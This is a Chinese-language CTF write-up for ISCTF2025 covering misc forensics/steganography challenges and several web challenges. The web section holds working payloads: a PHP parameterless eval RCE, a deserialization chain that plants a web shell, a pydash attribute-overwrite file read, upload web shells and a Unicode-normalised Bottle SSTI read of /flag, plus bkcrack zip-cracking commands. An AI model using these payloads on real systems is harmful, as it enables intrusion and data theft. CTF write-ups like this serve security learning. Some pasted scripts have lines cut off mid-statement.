ISCTF2025 misc web部分解

misc

湖心亭看雪

还原脚本test.py的a值为15ctf2025

将图片丢进随波中返回图片末尾遗留的十六进制数据,明显是zip文件数据但是缺少zip文件头,补充完文件头用a值解压得到flag.txt

题目都已经点明雪,于是用snow隐写将a值作为密钥解密得到flag

ISCTF{y0U_H4v3_kN0wn_Wh4t_15_Sn0w!!!}

Guess!

一道签到题

ISCTF{9ueSs_thE-@n$weR}

阿利维亚的传说

docx文件binwalk得到zip解压找到word下的document.xml找到谕言1

LSB分析图片base64解码得到谕言2

png文件binwalk得到zip解压,四位数字爆破密码得到谕言3

其实可以发现等号右边的值以大写字母为单词首,从左边开始从上到下开始读可以得到一句话,在把它们拼接在一起的得到flag

V=Dortt

A=otuTa    DoNotTrustTitan

N=NTsin



W=Hoeih

H=ouTgo

l=pMhhi     HopeYouMakeTherightChoice

L=eaetc

E=YkrCe



T=FMfr

R=iytY

U=nGFo    FindMyGiftForYou

E=diou



ISCTF{DoNotTrustTitan_HopeYouMakeTherightChoice_FindMyGiftForYou}

小蓝鲨的神秘文件

解压得到一个不常见的文件搜索一下它的作用

说明这个文件以一定的编码方式储存了出题人的输入法按键情况,我们需要脚本将他的输入词汇还原出来,于是利用网上大佬的脚本https://github.com/studyzy/imewlconverter/files/4365598/pinyin.zip

出题人说我们的flag在福州蓝鲨信息技术有限公司的官网新闻里,找找找

ISCTF{我要和小蓝鲨组一辈子CTF战队}

美丽的风景照

对编码的认知不是很厉害,看了两个hint才解出来,第一个hint按照彩虹的颜色排序,浏览器搜索彩虹排序“红橙黄绿蓝靛紫”,按照图片颜色在将上面的编码排序

jqW2 Dg2C 7HLo8 6yRWh ZXw8T 98Mz 3CaEK

根据字符串的范围应该是base58编码但是这样解出来是乱码,我们看第二个hint说古风都是倒着来的,于是我们将图片关于古风的字符串反着写(红色、橙色、靛色)

2Wqj C2gD 7HLo8 6yRWh ZXw8T 98Mz KEaC3

出来了一个头了,但是后面显示乱码应该是排序问题

突然想到还有“红橙黄绿青蓝紫”这种说法,刚好青色对应青花瓷,交换一下顺序解码得到flag

2Wqj C2gD 7HLo8 6yRWh KEaC3 ZXw8T 98Mz
ISCTF{H0w_834u71fu1!!!}

Abnormal log

得到日志文件里面包含了很多file data segment,将它们提取出来并拼接在一起并进行0x05异或可以得到7z文件,让ai写一个脚本一键生成

import re import os def process_log_data(log_filepath="access.log", xor_key=0x05, output_filename="result.7z"): """ 从 access.log 文件中提取文件数据碎片,按文件顺序拼接(默认按提取顺序即视为排序), 对每个字节进行 XOR 0x05 操作,并将结果保存为 .7z 文件。 """ print(f"--- 文件恢复脚本启动 ---") try: # 尝试以 UTF-8 编码读取日志文件 with open(log_filepath, 'r', encoding='utf-8', errors='ignore') as f: log_content = f.read() except FileNotFoundError: print(f"错误:找不到文件 '{log_filepath}'。请确保文件在当前目录下。") return # 1. 提取文件数据碎片 # 查找所有形如 'File data segment: HEX_STRING' 的行,并提取十六进制字符串。 # **注意:我们假设日志中数据碎片的记录顺序大致遵循 segment number 的顺序。** data_pattern = re.compile(r"File data segment: ([0-9a-fA-F]+)") hex_segments = data_pattern.findall(log_content) if not hex_segments: print("错误:未在日志文件中找到任何文件数据碎片 (File data segment)。") return # 2. 拼接碎片(已按提取顺序视为排序并拼接) print(f"成功提取到 {len(hex_segments)} 个文件数据碎片。").join(hex_segments) # 检查是否提取了足够的数据 if not concatenated_hex: print("错误:提取到的十六进制数据为空。") return try: # 将十六进制字符串转换为原始字节数据 binary_data = bytes.fromhex(concatenated_hex) except ValueError: print("错误:拼接后的数据不是有效的十六进制字符串,请检查提取的日志内容。") return # 3. 对每个字节进行 XOR 0x05 操作 print(f"开始进行 XOR {hex(xor_key)} 解密操作...") xored_data = bytes([b ^ xor_key for b in binary_data]) # 4. 保存为 .7z 文件 try: with open(output_filename, 'wb') as f: f.write(xored_data) print(f"操作成功!解密后的数据已保存为文件:'{output_filename}'") print(f"文件大小:{len(xored_data)} 字节。") except IOError: print(f"错误:无法写入文件 '{output_filename}',请检查权限。") # 执行函数 if __name__ == "__main__": process_log_data()

解压得到flag图片

flag{sabfndhjkashgfyiasdgfyusdguyfbknncxzbnj}

Image_is_all_you_need

ai审一下代码告诉我们第一步是Shamir秘密共享的图片恢复,第二步是基于可逆神经网络INN的隐写提取,根据要求一键脚本提取flag

import os import math import zlib import numpy as np import png import torch import torch.nn as nn import torch.nn.init as init import torchvision.transforms as T from PIL import Image from reedsolo import RSCodec # ========================================== # 第一部分:Shamir 秘密共享图片恢复 # ========================================== def read_text_chunk(src_png): """读取PNG中的tEXt块,获取值为256的像素索引""" try: reader = png.Reader(filename=src_png) chunks = reader.chunks() chunk_list = list(chunks) for chunk in chunk_list: if chunk[0] == b'tEXt': return eval(chunk[1].decode('utf-8')) except: pass return [] def reconstruct_image(): print("[-] 正在通过秘密碎片重组 secret.png ...") if os.path.exists("secret.png"): print("[!] secret.png 已存在,跳过重组。") return True n = 6 mod = 257 shares_data = [] shapes = [] # Lagrange coefficients for x=0 coeffs = [] xs = list(range(1, n + 1)) for i in range(n): xi = xs[i] numerator = 1 denominator = 1 for j in range(n): if i == j: continue xj = xs[j] numerator = (numerator * (-xj)) % mod denominator = (denominator * (xi - xj)) % mod denom_inv = pow(denominator, mod - 2, mod) coeff = (numerator * denom_inv) % mod coeffs.append(coeff) coeffs = np.array(coeffs, dtype=np.int64) for i in range(1, n + 1): filename = f"secret_{i}.png" if not os.path.exists(filename): print(f"[!] 错误: 找不到文件 {filename}") return False extra_indices = read_text_chunk(filename) img = Image.open(filename) data = np.asarray(img).astype(np.int64) flat_data = data.flatten() if extra_indices: flat_data[extra_indices] = 256 shares_data.append(flat_data) shapes.append(data.shape) shares_matrix = np.array(shares_data) reconstructed_flat = np.dot(shares_matrix.T, coeffs) % mod reconstructed_img = reconstructed_flat.astype(np.uint8).reshape(shapes[0]) Image.fromarray(reconstructed_img).save("secret.png") print("[+] secret.png 重组成功。") return True # ========================================== # 第二部分:神经网络定义与逆向 # ========================================== rs = RSCodec(128) def initialize_weights(net_l, scale=1): if not isinstance(net_l, list): net_l = [net_l] for net in net_l: for m in net.modules(): if isinstance(m, nn.Conv2d): init.kaiming_normal_(m.weight, a=0, mode='fan_in') m.weight.data *= scale if m.bias is not None: m.bias.data.zero_() def bits_to_bytearray(bits): ints = [] bits = np.array(bits) length = len(bits) - (len(bits) % 8) bits = bits[:length].tolist() for b in range(len(bits) // 8): byte = bits[b * 8:(b + 1) * 8] ints.append(int(''.join([str(bit) for bit in byte]), 2)) return bytearray(ints) def bytearray_to_text(x): try: # reedsolo 需要准确的数据块,如果是 systematic 编码,数据在前 ECC 在后 text = rs.decode(x) # 成功解码 RS 后进行 zlib 解压 text = zlib.decompress(text[0]) return text.decode("utf-8") except Exception: return False # --- Blocks --- class ResidualDenseBlock_out(nn.Module): def __init__(self, bias=True): super(ResidualDenseBlock_out, self).__init__() self.channel = 12 self.hidden_size = 32 self.conv1 = nn.Conv2d(self.channel, self.hidden_size, 3, 1, 1, bias=bias) self.conv2 = nn.Conv2d(self.channel + self.hidden_size, self.hidden_size, 3, 1, 1, bias=bias) self.conv3 = nn.Conv2d(self.channel + 2 * self.hidden_size, self.hidden_size, 3, 1, 1, bias=bias) self.conv4 = nn.Conv2d(self.channel + 3 * self.hidden_size, self.hidden_size, 3, 1, 1, bias=bias) self.conv5 = nn.Conv2d(self.channel + 4 * self.hidden_size, self.channel, 3, 1, 1, bias=bias) self.lrelu = nn.LeakyReLU(inplace=True) initialize_weights([self.conv5], 0.) def forward(self, x): x1 = self.lrelu(self.conv1(x)) x2 = self.lrelu(self.conv2(torch.cat((x, x1), 1))) x3 = self.lrelu(self.conv3(torch.cat((x, x1, x2), 1))) x4 = self.lrelu(self.conv4(torch.cat((x, x1, x2, x3), 1))) x5 = self.conv5(torch.cat((x, x1, x2, x3, x4), 1)) return x5 class INV_block(nn.Module): def __init__(self, clamp=2.0): super().__init__() self.channels = 3 self.clamp = clamp self.r = ResidualDenseBlock_out() self.y = ResidualDenseBlock_out() self.f = ResidualDenseBlock_out() def e(self, s): return torch.exp(self.clamp * 2 * (torch.sigmoid(s) - 0.5)) def forward(self, x): x1, x2 = x.narrow(1, 0, self.channels*4), x.narrow(1, self.channels*4, self.channels*4) t2 = self.f(x2) y1 = x1 + t2 s1, t1 = self.r(y1), self.y(y1) y2 = self.e(s1) * x2 + t1 return torch.cat((y1, y2), 1) def reverse(self, x): y1, y2 = x.narrow(1, 0, self.channels*4), x.narrow(1, self.channels*4, self.channels*4) s1, t1 = self.r(y1), self.y(y1) x2 = (y2 - t1) / self.e(s1) t2 = self.f(x2) x1 = y1 - t2 return torch.cat((x1, x2), 1) class simple_net(nn.Module): def __init__(self): super(simple_net, self).__init__() self.inv1 = INV_block() self.inv2 = INV_block() self.inv3 = INV_block() self.inv4 = INV_block() self.inv5 = INV_block() self.inv6 = INV_block() self.inv7 = INV_block() self.inv8 = INV_block() def forward(self, x): return self.inv8(self.inv7(self.inv6(self.inv5(self.inv4(self.inv3(self.inv2(self.inv1(x)))))))) def reverse(self, x): out = self.inv8.reverse(x) out = self.inv7.reverse(out) out = self.inv6.reverse(out) out = self.inv5.reverse(out) out = self.inv4.reverse(out) out = self.inv3.reverse(out) out = self.inv2.reverse(out) out = self.inv1.reverse(out) return out class DWT(nn.Module): def __init__(self): super(DWT, self).__init__() self.requires_grad = False def forward(self, x): x01 = x[:, :, 0::2, :] / 2 x02 = x[:, :, 1::2, :] / 2 x1, x2, x3, x4 = x01[:, :, :, 0::2], x02[:, :, :, 0::2], x01[:, :, :, 1::2], x02[:, :, :, 1::2] return torch.cat((x1+x2+x3+x4, -x1-x2+x3+x4, -x1+x2-x3+x4, x1-x2-x3+x4), 1) class IWT(nn.Module): def __init__(self): super(IWT, self).__init__() self.requires_grad = False def forward(self, x): r = 2 in_batch, in_channel, in_height, in_width = x.size() out_batch, out_channel, out_height, out_width = in_batch, int(in_channel / (r ** 2)), r * in_height, r * in_width x1, x2, x3, x4 = x[:, 0:out_channel, :, :] / 2, x[:, out_channel:out_channel * 2, :, :] / 2, x[:, out_channel * 2:out_channel * 3, :, :] / 2, x[:, out_channel * 3:out_channel * 4, :, :] / 2 h = torch.zeros([out_batch, out_channel, out_height, out_width]).float().to(x.device) h[:, :, 0::2, 0::2] = x1 - x2 - x3 + x4 h[:, :, 1::2, 0::2] = x1 - x2 + x3 - x4 h[:, :, 0::2, 1::2] = x1 + x2 - x3 - x4 h[:, :, 1::2, 1::2] = x1 + x2 + x3 + x4 return h # --- Main Decoding Logic --- def decrypt_flag(): print("[-] 正在加载模型提取 Flag ...") if not os.path.exists("misuha.taki"): print("[!] 错误: 找不到权重文件 misuha.taki") return device = torch.device("cuda:0" if torch.cuda.is_available() else "cpu") print(f"[-] 使用设备: {device}") net = simple_net().to(device) try: state_dicts = torch.load('misuha.taki', map_location=device) network_state_dict = {} # 去掉 "model." 前缀并过滤 tmp_var for k, v in state_dicts['net'].items(): if 'tmp_var' not in k: new_key = k.replace("model.", "") network_state_dict[new_key] = v net.load_state_dict(network_state_dict) print("[-] 模型权重加载成功。") except Exception as e: print(f"[!] 模型加载失败: {e}") return net.eval() img = Image.open("secret.png").convert('RGB') img = img.resize((600, 450)) steg_tensor = T.Compose([T.ToTensor()])(img).unsqueeze(0).to(device) dwt = DWT() iwt = IWT() # 逆向提取 steg_dwt = dwt(steg_tensor) z = torch.zeros_like(steg_dwt).to(device) inp = torch.cat((steg_dwt, z), dim=1) with torch.no_grad(): out = net.reverse(inp) payload_dwt = out[:, 12:, :, :] payload_img = iwt(payload_dwt) payload_data = payload_img.cpu().numpy() # 转换为比特流 bits = (payload_data > 0.5).astype(int).flatten() print("[-] 正在寻找有效数据...") # 策略 1: 寻找 32 个 0 的分隔符 (main.py 中的 [0]*32).join(map(str, bits)) delimiter = "0" * 32 # 获取第一个数据块 chunks = bit_str.split(delimiter) print(f"[-] 找到 {len(chunks)} 个潜在数据块。") # 尝试解码前几个块 found_flag = False for i, chunk in enumerate(chunks[:5]): # 只试前5个块 if len(chunk) < 128*8: # 长度不足以包含 ECC continue # 补齐到 8 的倍数 if len(chunk) % 8 != 0: chunk += "0" * (8 - (len(chunk) % 8)) try: # 转换为字节 ints = [int(chunk[b*8:(b+1)*8], 2) for b in range(len(chunk)//8)] b_arr = bytearray(ints) # 尝试解码 res = bytearray_to_text(b_arr) if res: print("\n" + "="*40) print(f"FLAG FOUND: {res}") print("="*40 + "\n") found_flag = True break except: continue if not found_flag: print("[-] 分隔符策略失败,尝试暴力扫描长度...") # 策略 2: 暴力尝试长度(假设 flag 在最前面) full_bytes = bits_to_bytearray(bits) # 从一个合理的最小长度开始尝试,直到 1000 字节 for length in range(140, 600): sub = full_bytes[:length] res = bytearray_to_text(sub) if res: print("\n" + "="*40) print(f"FLAG FOUND: {res}") print("="*40 + "\n") break else: print("[!] 最终解码失败。") if __name__ == "__main__": if reconstruct_image(): decrypt_flag()
ISCTF{Sh4r3_S3reCTTt_wiTh_Ai_H@@@@} //记得换一个flag头

小蓝鲨的周年庆礼物

又学到了,开始给了一个png图片和一个没有后缀的文件,010打开看一下发现它的数据很杂且没有正常文件的特征,最主要的是它的内存大小是个恰好的整数,这可能是一个文件型的加密卷我们需要用到VeraCrypt这个工具

选择该文件加载,将png作为密钥文件得到flag.txt

假flag检测一下有没有其他隐写,存在零宽隐写根据类型勾选解密得到flag

ISCTF{VC_15_s0OO0O0O_1n73r3571n6!!}

小蓝鲨的千层FLAG

打开zip文件在旁边的备注信息上就能看到密码,先用脚本解压下去,一直到了flagggg3.zip

import pyzipper import os # 初始文件名 current_file = "flagggg999.zip" print("开始暴力解压套娃 (修正版)...") while True: # 定义变量用于存储下一步的文件名,初始化为 None next_file = None try: # 第一步:打开文件并解压 # 注意:所有对文件的读取操作都在这个 with 块里完成 with pyzipper.AESZipFile(current_file, 'r') as zf: # 1. 获取注释 try: comment_bytes = zf.comment comment = comment_bytes.decode('utf-8') except: print(f"无法读取文件 {current_file} 的注释,可能是最终文件。") break # 2. 提取密码 if "password is" in comment: password_str = comment.split("is ")[1].strip() password_bytes = password_str.encode('utf-8') else: print(f"停止:在 {current_file} 中没有找到密码格式。") break # 3. 获取压缩包内的文件名 file_list = zf.namelist() if not file_list: break next_file = file_list[0] print(f"解压: {current_file} -> {next_file} | 密码: {password_str}") # 4. 解压 zf.setpassword(password_bytes) zf.extractall(pwd=password_bytes) # --- with 块结束,此时文件已自动关闭,释放了占用 --- # 第二步:删除旧文件 (现在是安全的) if os.path.exists(current_file): os.remove(current_file) # 第三步:更新文件名进入下一次循环 if next_file: current_file = next_file else: break except Exception as e: print(f"发生异常: {e}") print("解压过程停止,请检查当前目录下的文件。") break print("全部结束!")

根据hint的参考资料深知了8+4明文攻击的奥秘https://www.freebuf.com/articles/network/255145.html,这里我们的flagggg2.zip里面肯定是flagggg1.zip的,将其作为我们的明文字节在配合zip文件头504B0304满足我们的8+4,所以根据命令开始明文攻击

echo -n "flagggg1.zip" > plain_correct.txt

./bkcrack -C flagggg3.zip -c flagggg2.zip -p plain_correct.txt -o 30 -x 0 504B0304
./bkcrack -C flagggg3.zip -c flagggg2.zip -k ae0c4b27 66c21cba b9a7958f -U flagggg3_cracked.zip 123

unzip -P 123 flagggg3_cracked.zip

最终得到flag

ISCTF{3f165c87-c0d4-4903-9c47-3a8d3b9c83df}

怎么这也能掉链子

用了gemini对这个文件进行分析,提取出了可疑的flag内容应该是被编码了

同时我们foremost出了一个图片,应该叫做this_is_flag.jpg

对这个图片进行LSB分析发现了图片上有很多小黑点和小白点加上题目背景介绍,跟silenteye相关

根据silenteye的加密方式我们可以辨别出这张照片是top加密,解密一下得到一串字符

将该字符作为密钥维吉尼亚解密得到flag

EWNVT{R@X32_nanx5d5pix}           welcomeisctf



ISCTF{F@T32_file5y5tem}

ez_disk

跟着wp复现一下,用diskgenius查看一下虚拟磁盘有些什么,发现一个加密的压缩包

hint提示文件末尾有东西,往下翻发现有提示,直接将下面的字节复制到txt中

最后是jpg头的倒序使用脚本恢复图片

import os # --- 配置 --- INPUT_TXT_FILE = '1.txt' OUTPUT_JPG_FILE = 'output_image.jpg' # ------------ def reverse_hex_pairs_and_save(input_path, output_path): # 1. 读取并清理数据 if not os.path.exists(input_path): print(f"错误: 找不到输入文件 '{input_path}'") return with open(input_path, 'r', encoding='utf-8') as f_in: # 移除所有空白字符(空格, 换行, 制表符) clean_hex = f_in.read().strip().replace(" ", "").replace("\n", "").replace("\r", "").replace("\t", "") if len(clean_hex) % 2 != 0: print("警告: 字符串长度为奇数,末尾自动补 '0'。") clean_hex += "0" # 2. 核心:切片 -> 倒序 -> 拼接 # 每两位切片 pairs = [clean_hex[i:i + 2] for i in range(0, len(clean_hex), 2)] # 倒序.join(pairs[::-1]) # 3. 转换为二进制字节流 try: jpg_bytes = bytes.fromhex(reversed_hex_str) except ValueError as e: print(f"转换错误: 输入包含非十六进制字符。 {e}") return # 4. 写入 JPG 文件 (必须是二进制写入 'wb') try: with open(output_path, 'wb') as f_out: f_out.write(jpg_bytes) print(f"成功! 已生成: {output_path} ({len(jpg_bytes)} 字节)") except Exception as e: print(f"文件写入错误: {e}") # --- 执行 --- if __name__ == '__main__': reverse_hex_pairs_and_save(INPUT_TXT_FILE, OUTPUT_JPG_FILE)

随波一下,分解出文件尾的txt文件点开查看明显零宽隐写,放进随波看一下隐写类型有哪些,然后勾选解密

将解密出来的所有文字作为密码解压出来得到flag

ISCTF{320303e2-5c6a-489a-bcd3-e96a69a3eefc}

这道题在比赛的时候并没有做出来,看了wp才发现自己哪里出错了,需要密码的zip需要从虚拟磁盘完整提取出来而我是foremost出来的,所以导致后面得到的密码解压时文件报错,当时并没有看到010里面的提示,但是误打误撞得到了压缩包密码但是后面压缩包解不出来flag也出不来

消失的flag

ssh连接重定向回显flag,题目简介用户名为qyy,并且无密码

ISCTF{58714629-2f72-42fe-9508-06d32aee1870}

Miscrypto

一道密码题但是需要我们解密出其中的参数n和c,n由brainfuck解码得到,c为图片需要找出隐写,将c丢进随波中,在最后提取出base64自定义的编码表,同时用zsteg提取出base64编码

c需要base64解码后再hex得到

最后补充nc的值再解这个密码题

源码补充

#这是一道费马,对 from Crypto.Util.number import * flag = b'ISCTF{}' n = p*q phi = (p-1)*(q-1) m = bytes_to_long(flag) c = pow(m, e, n) e = 65537 #n=7644027341241571414254539033581025821232019860861753472899980529695625198016019462879314488666454640621660011189097660092595699889727595925351737140047609 #c=7551149944252504900886507115675974911138392174398403084481505554211619110839551091782778656892126244444160100583088287091700792873342921044046712035923917 #?但都不给要我怎么做啊!

解密脚本

import gmpy2 from Crypto.Util.number import long_to_bytes # 题目给出的数据 n = 7644027341241571414254539033581025821232019860861753472899980529695625198016019462879314488666454640621660011189097660092595699889727595925351737140047609 c = 7551149944252504900886507115675974911138392174398403084481505554211619110839551091782778656892126244444160100583088287091700792873342921044046712035923917 e = 65537 # 1. 费马分解法求 p 和 q # 初始化 A 为 n 的整数平方根 A = gmpy2.isqrt(n) # 如果 A^2 < n,说明 A 比真正的中间值小,加 1 if A * A < n: A += 1 while True: # 计算 B^2 = A^2 - n B2 = A * A - n # 如果 B^2 是完全平方数,说明找到了 if gmpy2.is_square(B2): B = gmpy2.isqrt(B2) p = A + B q = A - B # 验证一下 assert p * q == n print("[+] Found factors:") print(f"p = {p}") print(f"q = {q}") break A += 1 # 2. 常规 RSA 解密 phi = (p - 1) * (q - 1) d = gmpy2.invert(e, phi) m = pow(c, d, n) # 3. 获取 Flag flag = long_to_bytes(m) print("\n[+] Flag:") print(flag.decode())
ISCTF{M15c_10v3_Cryp70}

木林森

很有意思的一道题目,看txt文件明显base64转图片,把文件丢进随波转出来是社会主义价值观编码,解码得到....Mamba....

然后仔细观察txt文件末尾@号后有一句base64编码,去掉这一串字符再把整个文件的内容粘贴进随波在转图片又能得到一张新的图片,二维码扫码得到20000824

MzFFRTlBQjJERjEwNEVFNjk1ODI0NTc5MTQwQURGMzk0NzJCRUIzMzE2Q0YxMTlBNjFBMkNDNDYwNTIzQjA2MThDNzk0QTkzNEFGRjNCOTBGNEUwMzY=

题目简介提示RC4编码,结合我们得到的信息密钥应该为2000Mamba0824,解码得到flag

ISCTF{590CF439-E304-4E27-BE45-49CC7B02B3F3}

hacker

hacker在数据库的某个后台写入了很多的垃圾用户(注册),请提交其IP。Flag使用ISCTF{}包裹。筛选出POST的流量包,针对注册register.php由source ip发送了多次请求

ISCTF{192.168.37.177}

web

ezrce

代码分析只允许大写小写字母、圆括号 ()、下划线 _、分号 ; ,过滤了引号决定使用无参数的执行方式

get_defined_vars()函数运行返回一个数组并且第一个参数是$_GET于是我们用current这个函数来获得第一个参数,再用end获得最后一个参数,比如对于eval(end(current(get_defined_vars()))),current(get_defined_vars())得到$_GET数组,end($_GET)取$_GET的最后一个元素,即$_GET['b']="system('ls /');"相当于最后就执行了eval("system('ls /');")

payload

/?code=eval(end(current(get_defined_vars())));&c=system('cat /flag');

来签个到吧

class.php

<?php class FileLogger { public $logfile = "/tmp/notehub.log"; public $content = ""; public function __construct($f=null) { if ($f) { $this->logfile = $f; } } public function write($msg) { $this->content .= $msg . "\n"; file_put_contents($this->logfile, $this->content, FILE_APPEND); } public function __destruct() { if ($this->content) { file_put_contents($this->logfile, $this->content, FILE_APPEND); #漏洞点可以执行写马执行任意文件读取 } #刚好在destruct类里对象销毁时自动执行,不需要其他函数去调用它,所以这是一条单节点链 } } class ShitMountant { public $url; public $logger; public function __construct($url) { $this->url = $url; $this->logger = new FileLogger(); } public function fetch() { $c = file_get_contents($this->url); if ($this->logger) { $this->logger->write("fetched ==> " . $this->url); } return $c; } public function __destruct() { $this->fetch(); } } ?>

index.php

<?php require_once "./config.php"; require_once "./classes.php"; if ($_SERVER["REQUEST_METHOD"] === "POST") { $s = $_POST["shark"] ?? '喵喵喵?'; if (str_starts_with($s, "blueshark:")) { $ss = substr($s, strlen("blueshark:")); #只要我们通过POST传入参数,去掉前缀后,剩余的字符串会被反序列化。反序列化生成的对象在脚本结束时会被销毁,自动触发 __destruct()。 $o = @unserialize($ss); #入口点 $p = $db->prepare("INSERT INTO notes (content) VALUES (?)"); $p->execute([$ss]); echo "save sucess!"; exit(0); } else { echo "喵喵喵?"; exit(1); } } $q = $db->query("SELECT id, content FROM notes ORDER BY id DESC LIMIT 10"); $rows = $q->fetchAll(PDO::FETCH_ASSOC); ?>

payload

class FileLogger {

        public $logfile = "shell.php";

        public $content = "<?php system($_POST['cmd']);?>";

}



构造链子(开头是blueshark防替换)

blueshark:O:10:"FileLogger":2:{s:7:"logfile";s:9:"shell.php";s:7:"content";s:30:"<?php system($_POST['cmd']);?>";}

先POST马进去,再执行rce

Who am I

打开题目是一个登录页面,先随便注册一个账号登录进去到了用户界面,没有什么有用的信息,抓个包可以看见用type类型,修改成0重定向到管理员页面,查看配置文件可以看到main.py

审计代码发现主要是/operate接口中的pydash.set_滥用

from flask import Flask,request,render_template,redirect,url_for import json import pydash app=Flask(__name__) database={} data_index=0 @app.route('/',methods=['GET']) def index(): return render_template('login.html') @app.route('/register',methods=['GET']) def register(): return render_template('register.html') @app.route('/registerV2',methods=['POST']) def registerV2(): username=request.form['username'] password=request.form['password'] password2=request.form['password2'] if password!=password2: return ''' <script> alert('前后密码不一致,请确认后重新输入。'); window.location.href='/register'; </script> ''' else: global data_index data_index+=1 database[data_index]=username database[username]=password return redirect(url_for('index')) @app.route('/user_dashboard',methods=['GET']) def user_dashboard(): return render_template('dashboard.html') @app.route('/272e1739b89da32e983970ece1a086bd',methods=['GET']) def A272e1739b89da32e983970ece1a086bd(): return render_template('admin.html') @app.route('/operate',methods=['GET']) def operate(): username=request.args.get('username') password=request.args.get('password') confirm_password=request.args.get('confirm_password') if username in globals() and "old" not in password: Username=globals()[username] #漏洞点可以获取当前全局作用域中的对象 try: pydash.set_(Username,password,confirm_password) #任意属性修改 return "oprate success" except: return "oprate failed" else: return "oprate failed" @app.route('/user/name',methods=['POST']) def name(): return {'username':user} def logout(): return redirect(url_for('index')) @app.route('/reset',methods=['POST']) def reset(): old_password=request.form['old_password'] new_password=request.form['new_password'] if user in database and database[user] == old_password: database[user]=new_password return ''' <script> alert('密码修改成功,请重新登录。'); window.location.href='/'; </script> ''' else: return ''' <script> alert('密码修改失败,请确认旧密码是否正确。'); window.location.href='/user_dashboard'; </script> ''' @app.route('/impression',methods=['GET']) def impression(): point=request.args.get('point') if len(point) > 5: return "Invalid request" List=["{","}",".","%","<",">","_"] #黑名单过滤 for i in point: if i in List: return "Invalid request" return render_template(point) #打ssti限制了长度 @app.route('/login',methods=['POST']) def login(): username=request.form['username'] password=request.form['password'] type=request.form['type'] if username in database and database[username] != password: return ''' <script> alert('用户名或密码错误请重新输入。'); window.location.href='/'; </script> ''' elif username not in database: return ''' <script> alert('用户名或密码错误请重新输入。'); window.location.href='/'; </script> ''' else: global name name=username if int(type)==1: return redirect(url_for('user_dashboard')) elif int(type)==0: return redirect(url_for('A272e1739b89da32e983970ece1a086bd')) if __name__=='__main__': app.run(host='0.0.0.0',port=8080,debug=False)

这里我们利用了全局变量覆盖来修改Flask/Jinja2的配置,从而实现任意文件读取

payload

/operate?username=app&password=jiaja_loader.searchpath&confirm_password=/ username=app                                  选中了Flask的全局应用对象app

password=jinja_loader.searchpath    选中了app下负责加载模板的jinja_loader对象的搜索路径属性searchpath

confirm_password=/                          将搜索路径修改为了根目录/



显示oprate success说明路径修改成功,接着然后访问/impression?point=flag相当于代码执行render_template('/flag') /impression?point=flag

flag到底在哪

打开容器就forbidden,找到一个登录界面

万能密码登录到upload.php

文件上传没有什么过滤直接一句话木马,在环境变量中找到flag

b@by n0t1ce b0ard

我们先看一下这个洞是什么,主要是在registration.php里执行文件上传造成的任意文件读取

没有什么过滤直接传成功后执行rce,注意木马文件上传访问的路径在/images/$e下($e即你设置的邮箱)

难过的bottle

文件上传源代码

from bottle import route, run, template, post, request, static_file, error import os import zipfile import hashlib import time import shutil # hint: flag is in /flag UPLOAD_DIR = 'uploads' os.makedirs(UPLOAD_DIR, exist_ok=True) MAX_FILE_SIZE = 1 * 1024 * 1024 # 1MB BLACKLIST = ["b","c","d","e","h","i","j","k","m","n","o","p","q","r","s","t","u","v","w","x","y","z","%",";",",","<",">",":","?"] def contains_blacklist(content): """检查内容是否包含黑名单中的关键词(不区分大小写)""" content = content.lower() return any(black_word in content for black_word in BLACKLIST) def safe_extract_zip(zip_path, extract_dir): """安全解压ZIP文件(防止路径遍历攻击)""" with zipfile.ZipFile(zip_path, 'r') as zf: for member in zf.infolist(): member_path = os.path.realpath(os.path.join(extract_dir, member.filename)) if not member_path.startswith(os.path.realpath(extract_dir)): raise ValueError("非法文件路径: 路径遍历攻击检测") zf.extract(member, extract_dir) @route('/') def index(): """首页""" return ''' ''' @route('/upload') def upload_page(): """上传页面""" return ''' ''' @post('/upload') def upload(): """处理文件上传""" zip_file = request.files.get('file') if not zip_file or not zip_file.filename.endswith('.zip'): return '请上传有效的ZIP文件' zip_file.file.seek(0, 2) file_size = zip_file.file.tell() zip_file.file.seek(0) if file_size > MAX_FILE_SIZE: return f'文件大小超过限制({MAX_FILE_SIZE/1024/1024}MB)' timestamp = str(time.time()) unique_str = zip_file.filename + timestamp dir_hash = hashlib.md5(unique_str.encode()).hexdigest() extract_dir = os.path.join(UPLOAD_DIR, dir_hash) os.makedirs(extract_dir, exist_ok=True) zip_path = os.path.join(extract_dir, 'uploaded.zip') zip_file.save(zip_path) try: safe_extract_zip(zip_path, extract_dir) except (zipfile.BadZipFile, ValueError) as e: shutil.rmtree(extract_dir) return f'处理ZIP文件时出错: {str(e)}' files = [f for f in os.listdir(extract_dir) if f != 'uploaded.zip'] return template(''' ''', dir_hash=dir_hash, files=files) @route('/view/<dir_hash>/<filename:path>') def view_file(dir_hash, filename): file_path = os.path.join(UPLOAD_DIR, dir_hash, filename) if not os.path.exists(file_path): return "文件不存在" if not os.path.isfile(file_path): return "请求的路径不是文件" real_path = os.path.realpath(file_path) if not real_path.startswith(os.path.realpath(UPLOAD_DIR)): return "非法访问尝试" try: with open(file_path, 'r', encoding='utf-8') as f: content = f.read() except: try: with open(file_path, 'r', encoding='latin-1') as f: content = f.read() except: return "无法读取文件内容(可能是二进制文件)" if contains_blacklist(content): return "文件内容包含不允许的关键词" try: return template(content) #漏洞点可打ssti except Exception as e: return f"渲染错误: {str(e)}" @route('/static/<filename:path>') def serve_static(filename): """静态文件服务""" return static_file(filename, root='static') @error(404) def error404(error): return "讨厌啦不是说好只看看不摸的吗" @error(500) def error500(error): return "不要透进来啊啊啊啊" if __name__ == '__main__': os.makedirs('static', exist_ok=True) #原神,启动! run(host='0.0.0.0', port=5000, debug=False)

我们需要执行open('/flag').read(),但openrd都在黑名单里,可以利用Python3的Unicode标准化特性,Python解析器在执行代码时,会将Unicode中的数学斜体/粗体字母(如 𝑜, 𝑝, 𝑒, 𝑛)标准化为对应的ASCII字符,又因为template()函数有一个特性对传入的字符串不包含换行符或模板标签({{),它会将其视为文件名并尝试在磁盘上加载,所以我们的payload必须被{{}}包裹

payload

{{𝑜𝑝𝑒𝑛('/flag').𝑟𝑒𝑎𝑑()}}

一键zip生成脚本,上传即可看到flag

